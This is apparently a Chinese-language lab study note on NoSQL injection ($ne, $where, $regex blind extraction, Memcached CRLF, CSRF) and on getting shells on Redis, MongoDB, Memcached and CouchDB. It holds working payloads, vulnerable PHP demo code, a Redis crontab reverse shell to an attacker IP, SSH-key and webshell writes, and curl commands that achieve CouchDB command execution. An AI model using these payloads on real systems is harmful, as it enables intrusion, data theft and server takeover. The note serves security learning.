關于NoSQL注入的學習記錄
01 NoSQL數據庫介紹:
NoSQL,泛指非關系型的數據庫。NoSQL有時也稱作Not Only SQL的縮寫,是對不同于傳統的關系型數據庫的數據庫管理系統的統稱。NoSQL用于超大規模數據的存儲。(例如谷歌或Facebook每天為他們的用戶收集萬億比特的數據)。這些類型的數據存儲不需要固定的模式,無需多余操作就可以橫向擴展。
分類 Examples舉例 典型應用場景 數據模型 優點 缺點 鍵值(key-value) Tokyo Cabinet/Tyrant, Redis, Voldemort, Oracle BDB 內容緩存,主要用于處理大量數據的高訪問負載,也用于一些日志系統等等。 Key 指向 Value 的鍵值對,通常用hash table來實現 查找速度快 數據無結構化,通常只被當作字符串或者二進制數據 列存儲數據庫 Cassandra, HBase, Riak 分布式的文件系統 以列簇式存儲,將同一列數據存在一起 查找速度快,可擴展性強,更容易進行分布式擴展 功能相對局限 文檔型數據庫 CouchDB, MongoDb Web應用(與Key-Value類似,Value是結構化的,不同的是數據庫能夠了解Value的內容) Key-Value對應的鍵值對,Value為結構化數據 數據結構要求不嚴格,表結構可變,不需要像關系型數據庫一樣需要預先定義表結構 查詢性能不高,而且缺乏統一的查詢語法。 圖形(Graph)數據庫 Neo4J, InfoGrid, Infinite Graph 社交網絡,推薦系統等。專注于構建關系圖譜 圖結構 利用圖結構相關算法。比如最短路徑尋址,N度關系查找等 很多時候需要對整個圖做計算才能得出需要的信息,而且這種結構不太好做分布式的集群方案。 |
02 NoSQL數據庫注入
1.原理
NoSQL數據庫提供比傳統SQL數據庫更寬松的一致性限制。通過減少關系約束和一致性檢查,NoSQL數據庫提供了更好的性能和擴展性。然而,即使這些數據庫沒有使用傳統的SQL語法,它們仍然可能很容易的受到注入攻擊。由于這些NoSQL注入攻擊可以在程序語言中執行,而不是在聲明式 SQL語言中執行,所以潛在影響要大于傳統SQL注入。NoSQL數據庫的調用是使用應用程序的編程語言編寫的,過濾掉常見的HTML特殊字符,如<>&;不會阻止針對NoSQL的攻擊。
2.分類
1)重言式
重言式又稱為永真式。就是構造注入代碼使表達式的結果永遠判定為真,從而繞過認證。
2)聯合查詢
聯合查詢是一種眾所周知的SQL注入技術,攻擊者利用一個脆弱的參數去改變給定查詢返回的數據集。聯合查詢最常用的用法是繞過認證頁面獲取數據。
3)JavaScript注入
NoSQL數據庫可以在數據庫中執行JavaScript語句,MongoDB使用 $where操作符就可以執行JavaScript語句,當用戶構造惡意輸入作為查詢語句就可以實現注入。
4)盲注
與SQL注入盲注類似,都是根據頁面返回的結果來判斷是否存在注入。
5)背負式查詢
攻擊者通過利用轉義特定字符(比如像回車和換行之類的結束符)插入由數據庫額外執行的查詢,這樣就可以執行任意代碼了。
6)跨域違規
攻擊者通過調用暴露的HTTP REST API的模塊其他域攻擊數據庫。在跨域攻擊中,攻擊者利用合法用戶和他們的網頁瀏覽器執行有害的操作。
3.實驗演示
實驗環境:
10.10.19.100:80端口映射到66.28.5.2:80

攻擊機(win10):192.168.2.100
目標機(win7):10.10.19.100(apache2.4.18+php5.3+mogodb3.2.22)
拓撲:

mongodb基礎語法:
1.show dbs //查看所有數據庫
2.use test //創建test數據庫(創建后要插入數據才會顯示)
3.db.passwd.insert({'name':'admin','password':'123456'}) //創建集合passwd并插入數據
4.db.passwd.find() //查詢集合所有數據
常用操作符:
$ne:匹配字段值不等于指定值的文檔,包括沒有這個字段的文檔 $or :文檔至少滿足其中的一個表達式 $eq:匹配字段值等于指定值的文檔 $where :可以通過js表達式或js函數來查詢文檔 $regex :正則表達式可以匹配到的文檔 $gt:匹配字段值大于指定值的文檔 $gte:匹配字段值大于等于指定值的文檔 $lt:匹配字段值小于指定值的文檔 $lte:匹配字段值小于等于指定值的文檔 $in :匹配字段值等于指定數組中的任何值 $nin :字段值不在指定數組或者不存在 $not :字段值不匹配表達式或者字段值不存在 $nor:字段值不匹配所有的表達式的文檔,包括那些不包含這些字段的文檔 $exists:<boolean> 等于true時,字段存在,包括字段值為null的文檔 $type:匹配字段值為指定數據類型的文檔 $mod :匹配字段值被除有指定的余數的文檔 $text :針對創建了全文索引的字段進行文本搜索
1)重言式
測試使用操作符$ne進行演示,將與指定值不相等的值查詢出來。
先往mongodb插入幾條數據以便之后操作:

測試代碼:
<?php
$connect = new Mongo(); //連接數據庫
$db = $connect -> test; //選擇數據庫
$collections = $db -> passwd; //選擇集合
$username = $_GET['username'];
$password = $_GET['password'];
//查詢數據
$cursor = $collections -> find(array("name" => $username,"passwd" => $password));
$result = iterator_to_array($cursor);
if (count($result)>0) {
foreach($result as $value){
echo "username: ".$value['name'].'<-->'."password: ".$value['passwd'].'<br>';
}
}
?>
正常查詢,傳入username=admin&password=123456

傳入username[$ne]=a&password[$ne]=a,將和指定值不相等的值查詢出來。

2)聯合查詢
聯合查詢是一種眾所周知的SQL注入技術,攻擊者利用一個脆弱的參數去改變給定查詢返回的數據集。聯合查詢最常用的用法是繞過認證頁面獲取數據。但是現在無論是PHP的MongoDB driver還是node.js的mongoose都要求查詢條件必須是一個數組或者對象了,因此簡單演示一下聯合查詢的用法。
查詢代碼:
string query = "{ name:'" + post_username +"',passwd:'" +post_password+'"}"
正常查詢的語句:
{ name:'admin',passwd:'123456'}
構造插入語句:
{'name':'admin','$or':[{},{'a':'a','passwd':''}]}
不需要密碼,將用戶名為admin的數據查詢出來。

3)JavaScript注入
mongodb中使用$where操作符執行javascript語句進行查詢
測試代碼:
<?php
$connect = new Mongo;
//構造javascript查詢語句
$query_body =array(
'$where'=>"function q() {
var username,password;
username = '".$_REQUEST["username"]."';
password = '".$_REQUEST["password"]."';
if(username == 'admin'&&password == '123456')
return true;
else{
return false;
}
}
");
$db = $connect -> test;
$collections = $db -> passwd;
$cursor = $collections -> find($query_body);
$result = iterator_to_array($cursor);
if(count($result)>0){
echo "ok";
}else{
echo "no";
}
?>
當查詢的用戶名和密碼存在時,返回true,結果為ok。

當查詢的用戶名和密碼不存在時,返回false,結果為no。

構造注入代碼,使結果查詢永遠為真:
payload:
username=a&password=a';return true;'
代碼變為:
'$where'=>"function q() {
var username,password;
username = '".$_REQUEST["username"]."';
password = '".$_REQUEST["password"]."';
return true;'';
if(username == 'admin'&&password == '123456')
return true;
else{
return false;
}

在數據庫中測試:

4)盲注
NoSQL的盲注和SQL注入盲注類似,都是根據頁面返回的真假判斷是否存在注入。這里使用$eq操作符和$regex操作符進行盲注。
測試代碼:
<?php
$connect = new Mongo();
$db = $connect->test;
$collections = $db->passwd;
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
if (is_array($username)) {
$data = array(
'name'=>$username);
$cursor = $collections->find($data);
$result=iterator_to_array($cursor);
if (count($result)>0) {
$data1 = array('name'=>$username,'passwd'=>$password);
$cursor1 = $collections->find($data1);
$result1 = iterator_to_array($cursor1);
if(count($result1)>0){
echo '用戶名和密碼都正確';
}else{
echo '用戶名正確,密碼錯誤';
}}else{
echo '用戶名錯誤';
}
}else{
if ($username == 'admin'&&$password=='123456') {
echo 'loging success';
}else{
echo 'login failed';
}
}
?>
用戶名和密碼錯誤時,顯示登陸失敗。

使用$eq判斷正確的用戶名,輸入username[$eq]=a&password=a顯示用戶名錯誤。

輸入username[$eq]=admin&password=a,當用戶存在時顯示用戶名正確,密碼錯誤(這里可以通過爆破出用戶名)。

判斷出用戶名后使用$regex獲取密碼:
payload:
username[$eq]=admin&password[$regex]=.{7} //判斷密碼長度為7位返回錯誤
username[$eq]=admin&password[$regex]=.{6} //判斷密碼長度位6位返回正確
username[$eq]=admin&password[$regex]=a.{5} //判斷第一位位a返回錯誤
username[$eq]=admin&password[$regex]=a.{5} //判斷第一位為1返回正確
以此類推,最終查詢出密碼




使用數據庫查詢:

5)背負式查詢
將鍵值插入Memcached數據庫的的一種注入,由于未找到相關演示案例,此處簡單介紹一下相關操作:
語法:
set <KEY> <FLAG> <EXPIRE_TIME> <LENGTH>,
當PHP配置的函數被調用時,接收參數如下:
$memcached->set('key', 'value');
該驅動程序未能針對帶有回車\r(0x0D)和換行的\n(0x0A)的ASCII碼采取措施,導致攻擊者有機會注入包含有鍵參數的新命令行和其他非計劃內的命令到緩存中。如下代碼,其中的$param是用戶輸入并作為鍵來作用:
$memcached=new Memcached();
$memcached->addServer('localhost',11211);
$memcached->set($param, "some value");
攻擊者可以提供以下輸入進行注入攻擊:
"key1 0 3600 4\r\nabcd\r\nset key2 0 3600 4\r\ninject\r\n"
增加到數據庫中的第一個鍵是具有”some value”值的key1。攻擊者可以增加其他的、非計劃內的鍵到數據庫中,即帶有”inject”值的key2。這種注入也可以發生在get命令上。看一下Memcached主頁上的示例,它以這三行開頭:
Function get_foo(foo_id) foo = memcached_get("foo: " . foo_id) return foo if defined foo
這個示例展示了Memcached的典型用法,在處理輸入之前首先檢查在數據庫中是不是已經存在了。假設用類似代碼檢查從用戶那里接收的認證令牌,驗證他們是不是登錄過了,那么就可以通過傳遞以下作為令牌的字符串來利用它:
"random_token\r\nset my_crafted_token 0 3600 4\r\nroot\r\n"
當這個字符串作為令牌傳遞時,數據庫將檢查這個”random_token”是否存在,然后將添加一個具有”root”值的”my_crafted_token”。之后,攻擊者就可以發送具有root身份的my_crafted_token令牌了。可以被這項技術攻擊的其他指令還有:
incr <Key> <Amount> decr <Key> <Amount> delete <Key>
在此,incr用于增加一個鍵的值,decr用于縮減一個鍵的值,以及delete用于刪除一個鍵。攻擊者也可以用像set和get函數一樣的手段來使用帶來自己鍵參數的這三個函數。攻擊者可以使用多條目函數進行同樣的注入:deleteMulti、getMulti和setMulti,其中每一個鍵字段都可以被注入。回車換行注入可以被用于連接多個get請求。在一項我們進行的測試中,包括原始get在內最多可以連接17條。這樣注入返回的結果是第一個鍵及其相應的值。
6)跨域違規
NoSQL數據庫往往會提供HTTP REST API接口,以便客戶端進行數據庫查詢,如MongoDB、CouchDB、Hbase等。但這樣做也伴隨著安全風險,攻擊者可以利用REST API進行跨站請求偽造,讓攻擊者可以繞過防火墻等防御設備。
HTTP REST API是NoSQL數據庫中的一個流行模塊,然而,它們引入了一類新的漏洞,它甚至能讓攻擊者從其他域攻擊數據庫。在跨域攻擊中,攻擊者利用合法用戶和他們的網頁瀏覽器執行有害的操作。是一種跨站請求偽造(CSRF)攻擊形式的違規行為,在此網站信任的用戶瀏覽器將被利用在NoSQL數據庫上執行非法操作。通過把HTML格式的代碼注入到有漏洞的網站或者欺騙用戶進入到攻擊者自己的網站上,攻擊者可以在目標數據庫上執行post動作,從而破壞數據庫。
現在讓我們看看CSRF攻擊是如何使用這個函數增加新文件到管理員集合中的,從而在hr數據庫(它被認為處于安全的內部網絡中)中增加了一個新的管理員用戶,如下圖所示。若想攻擊成功,必須要滿足幾個條件。首先,攻擊者必須能操作一個網站,要么是他們自己的網站,要么是利用不安全的網站。攻擊在該網站放置一個HTML表單以及一段將自動提交該表單的腳本,比如:
<form action="http://safe.internal.db/hr/admins/_insert" method="POST" name="csrf">
<input type="text" name="docs" value=" [{"username":attacker}]" /></form>
<script> document.forms[0].submit(); </script>

藏在防火墻后的內部網絡內的用戶被欺騙訪問一個惡意外部網頁,這將導致在內部網絡的NoSQL數據庫的 REST API 上執行非預期的查詢。
第二,攻擊者必須通過網絡誘騙或感染用戶經常訪問的網站欺騙用戶進入被感染的網站。最后,用戶必須許可訪問Mongoose HTTP接口。
用這種方式,攻擊者不必進入內部網絡即可執行操作,在本例中,是插入新數據到位于內部網絡中的數據庫中。這種攻擊執行很簡單,但要求攻擊者要提前偵察去識別主機、數據庫名稱,等等。
三、NoSQL數據庫GETSHELL方法
1.Redis數據庫
實驗環境:
10.10.19.50:6379端口映射到66.28.5.2:6379

攻擊機(kali):66.28.6.10
目標機(centos7):10.10.19.50

1)crontab計劃任務
先在本機設置監聽: nc -lvvp 6379 連接目標執行如下命令,等待反彈shell: 66.28.5.2:6379> set xx "\n* * * * * bash -i >& /dev/tcp/66.28.6.10/6379 0>&1\n" OK 66.28.5.2:6379> config set dir /var/spool/cron/ OK 66.28.5.2:6379> config set dbfilename root OK 66.28.5.2:6379> save OK


2)主從復制RCE
漏洞存在于4.x、5.x版本中,Redis提供了主從模式,主從模式指使用一個redis作為主機,其他的作為備份機,主機從機數據都是一樣的,從機只負責讀,主機只負責寫。在Reids 4.x之后,通過外部拓展,可以實現在Redis中實現一個新的Redis命令,構造惡意.so文件。在兩個Redis實例設置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。然后在從機上加載惡意so文件,即可執行命令。
1.so文件:git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(下載后進入目錄make,獲取惡意so文件) 2.python腳本:git clone https://github.com/Ridter/redis-rce.git 3. 4.執行命令:python3 redis-rce.py -r 66.28.5.2 -p 6379 -L 66.28.6.10 -f module.so
3)ssh-keygen
攻擊機執行代碼: 生成密鑰: ssh-keygen -t rsa cd /root/.ssh (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > key.txt 設置值: cat key.txt | redis-cli -h 66.28.5.2 -x set a 連接redis執行代碼: config set dir /root/.ssh config set dbfilename "authorized_keys" save




4)寫webshell
連接redis,執行如下代碼: config set dir /var/www/html/ config set dbfilename shell.php set x "<?php phpinfo();?>" save

目標機查看已寫入shell文件。

連接查看:

2.MongoDB未授權訪問
3.0之前版本的MongoDB,默認監聽在0.0.0.0,3.0及之后版本默認監聽在127.0.0.1;3.0之前版本,如未添加用戶管理員賬號及數據庫賬號,使用–auth參數啟動時,在本地通過127.0.0.1仍可無需賬號密碼登陸訪問數據庫,遠程訪問則提示需認證;3.0及之后版本,使用–auth參數啟動后,無賬號則本地和遠程均無任何數據庫訪問權限。
環境:
10.10.19.100:27017端口映射到66.28.5.2:27017

攻擊機(win10):192.168.2.100
目標機(win7): 10.10.19.100

使用工具不需要驗證可直接連接數據庫:


3.memcached未授權訪問
環境:
10.10.19.50:11211端口映射到66.28.5.2:11211

目標centos:10.10.19.50
攻擊win10: 192.168.0.100

安裝服務: sudo yum install memcached 啟動服務 sudo memcached -d -u root -p 11211 -m 128
查看服務已開啟:

telnet可連接:telnet 66.28.5.2 11211

4.couchdb未授權訪問
實驗環境:
10.10.19.50:5984端口映射到66.28.5.2:5984

攻擊機( centos):66.28.6.10
目標機(kali):10.10.19.50

出現如下頁面說明couchdb安裝成功:

訪問_config出現如下頁面說明漏洞存在:

訪問_utils直接與數據庫進行交互:

輸入以下命令可執行任意命令:
新建一個執行命令配置”
curl -X PUT 'http://66.28.5.2:5984/_config/query_servers/cmd' -d '"whoami > /tmp/success"'
新建表:
curl -X PUT 'http://66.28.5.2:5984/vultest'
新建庫,插入數據:
curl -X PUT 'http://66.28.5.2:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
調用query_servers處理數據:
curl -X POST 'http://66.28.5.2:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

已建立新的庫vultest:

在靶機中查看命令執行成功:

04 總結
本文介紹了常見的幾種NOSQL數據注入方式和GETSHELL方法,希望對大家能有所幫助。其中背負式查詢和跨域違規兩種注入方式未能完成復現,摘錄了相關文章,原文鏈接詳見參考鏈接。